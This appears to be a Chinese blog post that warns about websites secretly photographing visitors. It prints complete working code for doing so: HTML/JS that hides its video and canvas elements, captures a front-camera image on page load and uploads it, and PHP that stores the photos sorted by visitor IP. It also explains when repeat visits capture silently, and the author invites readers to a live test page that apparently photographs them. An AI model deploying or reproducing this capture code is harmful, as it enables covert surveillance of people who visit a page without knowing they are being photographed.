首页网文心情网络杂谈手机偷拍源码 网络摄像头偷拍源码 JS调用前置摄像头拍照并上传至服务器

手机偷拍源码 网络摄像头偷拍源码 JS调用前置摄像头拍照并上传至服务器

分类网络杂谈时间2026-07-02 21:40:53发布heikeyh浏览13
导读:巨恶心的,很早前没注意,访问很多大站都遇到过,一定要注意隐私,访问某些网站,提示请求摄像头权限.受权后开启前置摄像头拍照并上传到他的服务器里面!旧手机安卓早期版本甚至不需要提示就开启了!代码大概如下:这是HTML的<!DOCTYPE html> <html> <head> <meta ch...

巨恶心的,很早前没注意,访问很多大站都遇到过,

一定要注意隐私,访问某些网站,提示请求摄像头权限.

4ef6a306-4ff3-4bd0-9376-3f56fe556fe5.png

受权后开启前置摄像头拍照并上传到他的服务器里面!

旧手机安卓早期版本甚至不需要提示就开启了!

代码大概如下:

这是HTML的

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta name="" content="content">
	<title>小笑话</title>
</head>
<body>
 
	<canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
 
	<video id="video" style="display: none;width: 250px;height: 300px;"></video>
 
	<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
	<script>
		window.addEventListener("DOMContentLoaded",function(){
			var canvas = document.getElementById('canvas');
			var context =canvas.getContext('2d');
			var video = document.getElementById('video');
			if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
				navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
					video.srcObject = stream;
					video.play();
					setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
					setTimeout(function(){
						var img = canvas.toDataURL('image/png');
						$.post('/s.php',{'imegse':img},function(data){
						//根据后端判断接下来的操作
						})
					} ,1300)
 
				},function(){
					alert('缺少访问权限');
					location.reload();
				})
 
			}
		},false);
	</script>
</body>
</html>

这是PHP的

<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
    //接收 base64 数据
    $image = $_POST['imegse'];
    if (empty($image)) {
        return null;
    }
    //设置图片名称
    $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
    //判断是否有逗号 如果有就截取后半部分
    if (strstr($image, ",")) {
        $image = explode(',', $image);
        $image = $image[1];
    }
    //设置图片保存路径
    $path = "./" . getIp() . '/' . date("Ymd", time());
    //判断目录是否存在 不存在就创建
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }
    //图片路径
    $imageSrc = $path . "/" . $imageName;
    //生成文件夹和图片
    $r = file_put_contents($imageSrc, base64_decode($image));
    if (!$r) {
        return 0;
    } else {
        return 1;
    }
}
function getIp()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

当你访问这个页面并授权了摄像头权限就会根据 IP 分类

存储当时拍到的前置摄像头的照片到服务器内.

IOS 端会提示权限.

Android 端部分会提示,部分不会...

这东西是很久以前的东西了... 哎现在的大数据让人恶心啊...

仔细想想真是阔怕

详细实测

多数时候一定会弹窗,但有例外

一、第一次打开这个网页:100% 弹出摄像头授权提示

这段代码用了 navigator.mediaDevices.getUserMedia({video:true}),这是浏览器强制管控的隐私 API,有三条不可绕过的规则:

弹窗是浏览器原生弹窗,JS 无法隐藏、拦截、跳过

弹窗会明确显示网站域名,问你「是否允许该网站使用摄像头」,用户必须手动点允许 / 拒绝,没有默认放行。

非 HTTPS 普通 HTTP 网站,直接连弹窗都不出现,直接报错

只有 https:// 加密域名、本机 localhost/127.0.0.1 本地调试,才会弹出授权;普通 IP/HTTP 网址调用会直接触发 缺少访问权限 弹窗并刷新页面。

移动端浏览器额外限制

手机浏览器禁止页面加载完自动调用摄像头(你这段代码就是 DOM 加载完直接执行),安卓 / 苹果 Safari 会直接拦截 API,连授权框都不弹,直接走失败逻辑。必须用户手动点击按钮(点击、滑动等人为手势)触发才会弹出授权。

二、用户之前点过「允许并记住」:不会再弹窗,直接静默偷拍

这是这段恶意代码唯一能 “悄悄拍照不上报” 的场景:

用户第一次访问时,手动点了允许 + 记住此网站选择;

之后再次打开页面,浏览器复用之前授权,不会再次弹出提示;

哪怕页面里 video、canvas 全部隐藏,代码依然能自动开启摄像头、截图、上传到你的 /s.php 服务器,用户完全感知不到。

三、用户点过拒绝:永久不再弹窗

只要用户上次点了拒绝,同一域名下后续所有调用摄像头操作都会直接失败,不会二次询问,页面会弹出缺少访问权限并刷新页面。



我顺便做了在线测试,大家好奇可以看看,访问后留言就提访问时间,我可以告知大家结果。


                                             点击测试  


Hackyh'Blog版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!

网络杂谈
一次讲清什么是SQL注入 SQL注入原理 SQL注入防护

游客 回复需填写必要信息
召唤伊斯特瓦尔